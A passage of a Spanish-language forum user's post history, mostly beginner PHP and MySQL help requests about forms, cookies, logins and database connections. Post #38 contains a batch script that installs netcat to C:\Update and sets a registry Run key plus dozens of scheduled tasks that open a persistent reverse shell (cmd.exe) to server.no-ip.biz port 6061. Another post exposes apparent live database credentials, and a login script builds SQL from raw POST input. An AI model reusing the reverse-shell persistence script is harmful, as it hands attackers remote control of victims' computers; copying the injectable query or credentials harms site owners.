mysql_close($link);
?>

</table>


Espero me puedan hechar una manita; se los agradeceria mucho.
Saludos :D
#37
PHP / Ayuda con enumeracion de filas
14 Febrero 2010, 08:13 AM
Buenas a todos:

    He estado leyendo y se ve sencillo, pero de verdad que estoy confundido.
En realidad no se si es mejor hacerlo con php o con MySQL pero en phpMyAdmin no logre nada :(

Quiero que al ingresar el registro, automaticamente se guarde la numeracion correspondiente, es decir, que yo Antonio Garcia soy el cliente num 3 y entonces cuando se registra otro cliente, este se guarde como num 4.
La columna es $row["No"] en el codigo.
 
<?php  
   
while($row mysql_fetch_array($result))
    {
      
printf("<tr><td> %d </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td></tr>",$row["No"],$row["name"],$row["last_name"],$row["phone"],$row["emerg_phone"],$row["mail"],$row["gender"],$row["birthdate"],$row["cc_info"],$row["cvc"],$row["exp"],$row["comments"]) or die(mysql_error());
   }
   
   
mysql_free_result($result);
   
mysql_close($link);
?>



En realidad para mi seria mucho mejor poder guardar la enumeracion directamente en la tabla, pero ahi si no se nada de SQL y lo poco que he leido no me ayuda.
Espero alguien de ustedes me pueda iluminar con su sabiduria.
Muchisimas Gracias
Saludooos
#38
Scripting / Duda en programacion batch.
15 Enero 2010, 02:58 AM
Bueno tipico, estoy haciendo un server netcat, que incluye wget para windows, que se instala en C:/Update y se agrega al registro, de hago que se jecute todos los dias a X hora y de ahi que se ejecute C:/Update/nc.exe para que se conecte terminando la instalacion.
Pero cuando se agregan las entradas a las tareas programadas, en lugar de cerrarse se queda la ventana de cmd abierta.
Que puedo hacer para mejorar mi codigo??

@echo off
mkdir C:\Update
move /Y nc.exe C:/Update
move /Y wget.exe C:/Update
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v Netcat /d "C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"
AT 11:15p /INTERACTIVE /every:1 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:2 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:3 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:4 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:5 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:6 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:7 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:8 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:9 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:10 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:11 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:12 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:13 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:14 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:15 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:16 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:17 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:18 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:19 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:20 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:21 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:22 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:23 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:24 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:25 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:26 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:27 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:28 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:29 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
AT 11:15p /INTERACTIVE /every:30 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe""
start /B "C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"
exit


Muchas Gracias.
#39
Porfavor, hay muhco tutoriales muy completos de metasploit, pero quisiera saber si hay por ahi un Manual que sea completisisisisimo de Metasploit, para entender todas sus funciones al 100%.

Se los agradeceria mucho.
Muchas Gracias.
#40
Buenas! !

Bueno que apenas tengo el metasploit y estoy por aprender a usarlo, pero, no se como iniciarlo desde terminal..
Me podrian ayudar con eso porfavor?
haha
se que si saben xD
#41
PHP / Ayuda con formulario y PHP
28 Octubre 2009, 03:01 AM
Buenas !

Tengo hecho un formulario, de una encuesta, y segun como lo programe debe saltar si un campo no esta lleno, pero no lo hace, les dejo el codigo completo porque tengo un script que deshabilita el boton de enviar al presionar para evitar spam..

Este es el que deshabilita el boton.

</style>
<script language="javascript" type="text/javascript">
autoDetect = true;
timeOutSecs = 5; // luego de 5 segundos, el botón se habilitará de nuevo,
// para el caso de que el servidor deje de responder y el usuario
// necesite volver a submitir.
window.onload = init; // esta linea puede borrarse si autoDetect=false
function init(e){
if (autoDetect){
for (var a=0;a<document.forms.length;a++){
document.forms[a].onsubmit = disable; // adjunta la función disable a todos los forms
}
}
}
function disable(e){ // asigna función al submit y pasa el evento como argumento
if (document.getElementById) { // chekea que el navegador soporte. Sino lo hace, se ignora el efecto.
if (autoDetect){ // toma el objeto FORM desde el evento
if (!e) {e = document.parentWindow.event;} // mozilla pasa (e) pero IE no, así que también usamos su forma de obtener el evento
var el = e.target || e.srcElement; // obtener el elemento de donde salió el evento, para mozilla o explorer
} else { // toma el objeto FORM si se pasa manualmente
el = e;
}
while (el.tagName != "FORM"){ el = el.parentNode;} // mozilla pasa el input como source del submit. busco entonces el form de ese input.
for (var b=0;b<el.elements.length;b++){ // por cada elemento del form
var formEl = el.elements[b];
// si el elemento es un botón de submit
if ((formEl.tagName == "INPUT") && (formEl.getAttribute("type") != null) && ((formEl.getAttribute("type").toLowerCase() == "submit") )) {
formEl.disabled = true; // desactivar botón
document.getElementsByTagName("body")[0].style.cursor = 'wait'; // relojito
setTimeout(function(){formEl.disabled = false;document.body.style.cursor = 'default';},timeOutSecs*1000)
}
}
}
return true;
}
//-->
</script>


Este es el code del form:

<form id="form1" name="form1" method="post" action="send_form.php">
            <p align="left">¿Qué piensas al leer enconstruccion.com?<br />
              <span id="sprytextfield1">
                <label>
                  <textarea name="first" cols="40" id="first"></textarea>
                  <br />
                </label>
                <span class="textfieldRequiredMsg">Se necesita un valor.</span></span> <br />
              Te gusta el nombre enconstruccion.com para un sito web?<br />
  <span id="spryradio1">
  <label>
    <input type="radio" name="second" value="Si" id="second_0" />
    Si, si me gusta.</label>
  <br />
  <label>
    <input type="radio" name="second" value="No" id="second_1" />
    No, no me gusta.</label>
  <br />
  <span class="radioRequiredMsg">Realice una selección.</span></span> </p>
            <p align="left">¿De que crees que tratara este sitio?<br />
              <span id="sprytextfield2">
                <label>
                  <textarea name="third" cols="40" id="third"></textarea>
                </label>
                <span class="textfieldRequiredMsg">Se necesita un valor.</span></span> </p>
            <p align="left">¿Qué te gustaria encontrar en este sitio?<br />
              <span id="sprytextfield3">
                <label>
                  <textarea name="forth" cols="40" id="forth"></textarea>
                </label>
                <span class="textfieldRequiredMsg">Se necesita un valor.</span></span><br />
            </p>
          <p align="left"><span id="sprytextfield4">
              <label>
                <input name="fifth" type="text" class="IpTxt" id="fifth" value='<? $ip=$_SERVER['REMOTE_ADDR']; echo "$ip"; ?>' readonly="readonly" hidden="" />
              </label>
            <span class="textfieldRequiredMsg">Se necesita un valor.</span></span> <br />
            [<span class="txtt">Tu IP es enviada solo como medida de seguridad.</span>] <br />
            </p>
            <p align="left">
<?
    $strCodigo="";
for($iCont=1;$iCont<=5;$iCont++){
$strCodigo=$strCodigo.rand(1,9);
}
echo "Introduce el siguiente Código: ";
echo $strCodigo;
echo " <br> \n";
?>
<input type="text" name="escrito" width=50 size=5 ">
<INPUT TYPE="hidden" NAME="puesto" VALUE="<? echo $strCodigo ?>" width=100 size=20 "><BR>
</p>
            <p align="left">
              <label>
                <input type="submit" onkeypress="disabled" name="sEND" id="sEND" value="Enviar" />
              </label>
              <label>
                <input type="reset" name="rESTA" id="rESTA" value="Restablecer" />
              </label>
            </p>
          </form>



Y este es el ultimo script antes de </body>:

<script type="text/javascript">
<!--
var sprytextfield1 = new Spry.Widget.ValidationTextField("sprytextfield1");
var spryradio1 = new Spry.Widget.ValidationRadio("spryradio1");
var sprytextfield2 = new Spry.Widget.ValidationTextField("sprytextfield2");
var sprytextfield3 = new Spry.Widget.ValidationTextField("sprytextfield3");
var sprytextfield4 = new Spry.Widget.ValidationTextField("sprytextfield4");
//-->
</script>


Igual he puesto datos demas, pero se que hay veces que una pequeña coma aveces puede significar la diferencia.
Muchas Gracias de antemano para el que me pueda ayudar...
Tambien si ven algo mas que esta mal, ayudenme porfavor.
Cuidence
xD
#42
PHP / Ayuda con cookies please xD (Solucionado)
25 Octubre 2009, 18:06 PM
Buenas :D
Veran estoy tratando de hacer algo como el detectabot.php de este sitio xD
Es algo muy simple y de hecho lo estoy haciendo como pruebas solo para saber como hacerlo, posteriormente aplicarlo.
En mi codigo, consigo que el usuario meta el codigo del captcha y presione entrar, se inserta cookie e ingresa al sitio.
Pero lo que no se como hacer es para que cuando el usuario entre denuevo ya no le aparezca la pagina para insertar el captcha..
pense que podria ser algo asi, pero no estoy seguro.

if($_COOKIE['valor'] == true);
header("Location: index.php");
}else{
header("Location: ejemplo.php-adss");

como ven ?


####He modificado####
Lee la ultima respuesta porfavor.
#43
PHP / Error en "echo":. Ayuda xD
21 Octubre 2009, 02:06 AM
Buenas :D
Les comento, estoy haciendo pruebas con un login que conecta a la base de datos mysql y devuelve "Bien! El usuario es correcto" o "Lo siento, los datos son incorrectos" respectivamente, esto solo es para comprobar que la conexion se haga.
Pero hay un error.
El codigo que uso es este, corresponde a ID_verify.php
<?php 
$conConexion
=include("connect_xd.php"); //se conectar a la bd
$resConsulta=@mysql_query("SELECT COUNT(*) AS Total FROM verify WHERE USER='".trim($_POST["usuario"])."' AND PWD='".trim($_POST["password"])."'",$conConexion);
if(
mysql_result($resConsulta,"0","Total")>0);
{
    echo 
"Bieeeeeeeeen!! El usuario es correcto ;)";
} else { 
//aqui es donde esta el error
    
echo "Lo siento, los datos no son correctos :(";
}
@
mysql_close($conConexion);
?>



Lo unico que se me ocurrio fue que habia problema en la conexion a la base de datos desde connect_xd.php pero no entiendo porque.
Este es el codigo:
<?php 
$dbhost
="mysql13.000webhost.com"
$dbuser="a4991738_pwdxD"
$dbpass="sUehe7jme8cit!aki"
$dbfriends="a4991738_pwdxD"
mysql_connect($dbhost,$dbuser,$dbpass) or die("Incorrecto"); 
mysql_select_db($dbfriends) or die("No existe la base de datos"); 
?>


Por si acaso, les dejo el codigo de mi Login, aunque yo no encontre ningun error.
ID_mkmnstr.php
<body>
<div id="wb_Form1" style="position:absolute; left:441px; top:29px; width:403px; height:226px; z-index:6;" align="left">
<form name="LoginForm" method="POST" action="ID_verify.php" id="Form1">
<div id="wb_Table1" style="position:absolute;left:33px;top:42px;width:332px;height:140px;z-index:0;" align="left">
<table width="100%" cellpadding="0" cellspacing="0" border="1" bordercolor="#000000" id="Table1">
<tr>
<td align="center" valign="middle" bgcolor="#000000" width="330" height="22" style="border:1px #2953C1 solid;"><FONT style="font-size:13px" color="#FFFFFF" face="Arial"><B>Login</B></FONT></td>
</tr>
<tr>
<td width="330" height="116" align="left" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
</tr>
</table></div>
<div id="wb_Text1" style="position:absolute;left:46px;top:86px;width:77px;height:15px;z-index:1;" align="left">
<FONT style="font-size:12px" color="#000000" face="Arial">Username:</FONT></div>
<div id="wb_Text2" style="position:absolute;left:46px;top:115px;width:78px;height:15px;z-index:2;" align="left">
<FONT style="font-size:12px" color="#000000" face="Arial">Password:</FONT></div>
<input type="text" id="Editbox1" style="position:absolute;left:122px;top:83px;width:234px;border:1px #000000 solid;font-family:Arial;font-size:13px;z-index:3" name="username" value="">
<input type="password" id="Editbox2" style="position:absolute;left:122px;top:112px;width:234px;border:1px #000000 solid;font-family:Arial;font-size:13px;z-index:4" name="password" value="">
<div id="wb_AdvancedButton1" style="position:absolute;left:285px;top:142px;width:71px;height:22px;z-index:5;" align="center">
<button id="AdvancedButton1" type="submit" name="sent_data" value="Login" style="width:71px;height:22px;border:1px #000000 solid;background-color:#FFFFFF;"><div><FONT style="font-size:13px" color="#000000" face="Arial">Login</FONT></div></button></div>
</form>
</div>
<!-- Display 'Password is wrong' message -->
<div id="Html1" style="position:absolute; left:476px; top:348px; width:332px; height:61px; z-index:7">
<?php
if(isset($_GET["login_error"]))
{
echo(
"<b>Username o password INCORRECTOS!<br /></b>");
}
?>



De antemano muchas gracias xD
:D
Saludoos
#44
Hola Cybernautas xD
tengo un problemita donde espero me puedan ayudar xD
Ahora la base de datos esta bien conectada, pero resulta esto:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/a49912738/public_html/php_conex.html on line 18
Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /home/a49912738/public_html/php_conex.html on line 21


5  <body>
6  <H1>Ejemplo de uso de bases de datos con PHP y MySQL</H1>
7
8  <?php
9   include("php_conex.php");
10   $link=Conectarse();
11   $result=mysql_query("select * from prueba",$link);
12  ?>
13
14   <TABLE BORDER=1 CELLSPACING=1 CELLPADDING=1>
15      <TR><TD>&nbsp;Nombre</TD><TD>&nbsp;Apellidos&nbsp;</TD></TR>
16 <?php     
17
18   while($row = mysql_fetch_array($result)) {
19      printf("<tr><td>&nbsp;%s</td><td>&nbsp;%s&nbsp;</td></tr>", $row["Nombre"],$row["Apellidos"]);
20   }
21   mysql_free_result($result);
22   mysql_close($link);
23  ?>
24
25 </table>
26 </body>

Sera que el servidor no acepta esas funciones, o que mas podria ser?
Saludos y Gracias de antemano.
xD
#45
Bueno te comento que soy nuevo en MySQL, en PHP ya se un poco mas xD
Quiero crear una base de datos y conectarla a mi servidor (260mb.com) maneja MySQL, tengo mi servido MySQL y tengo PHPMyAdmin que no se como manejar.

Tengo MySQL Community Server instalado en mi portatil, mi server mysql es xxxx.269mb.com, entonces intente "mysql -h xxx -u pacus_xxxx -p" y no funciono, intente poniendole "mysql -h xxx -u pacus_xxxx -p xxxxx" y tampoco..

C:\Users\HR>mysql -h localhost -u root -p
Enter password: ********
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.1.39-community MySQL Community Server (GPL)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement

mysql>

Esto me funciono, pero no estoy seguro de como funcionara esto en mi servidor, o como puedo conectarlo.

Siguiendo un tutorial hice lo siguiente.
http://tutorialphp.net/cap7_1base_de_datos_mysql_crear_base_de_datos_php.php

Subi a mi server prueba.sql

CREATE TABLE prueba (
ID_pacus_xxxxxx_mkmnstr_db int(11) DEFAULT '0' NOT NULL auto_increment,
Nombre varchar(100),
Apellidos varchar(100),
PRIMARY KEY (ID_pacus_xxxxxx_mkmnstr_db),
UNIQUE ID_pacus_xxxxxx_mkmnstr_db (ID_pacus_xxxxxxx_mkmnstr_db)
);


Y tambien subi mkmnstr_db.php con el sig. codigo:

<html>
<head>
   <title>Ejemplo de PHP</title>
</head>
<body>

<?php
function Conectarse()
{
   if (!($link=mysql_connect("localhost","root","")))
   {
      echo "Error conectando a la base de datos.";
      exit();
   }
   if (!mysql_select_db("pacus_xxxxxx_mkmnstr_db",$link))
   {
      echo "Error seleccionando la base de datos.";
      exit();
   }
   return $link;
}

$link=Conectarse();
echo "Conexión con la base de datos conseguida.<br>";

mysql_close($link); //cierra la conexion
?>

</body>
</html>



Pero "Error conectando a la base de datos."
La verdad no entiendo que es lo que estoy haciendo mal.

En el codigo de mkmnstr_db.php intente tambien esto:

   if (!($link=mysql_connect("localhost","root","")))
   if (!($link=mysql_connect("localhost","pacus_xxxx","")))
   if (!($link=mysql_connect("localhost","pacus_xxxx","xxxxxx")))


obviamente una a la vez
y no funciona tampoco.
Espero puedan ayudarme, y de antemano muchas gracias:D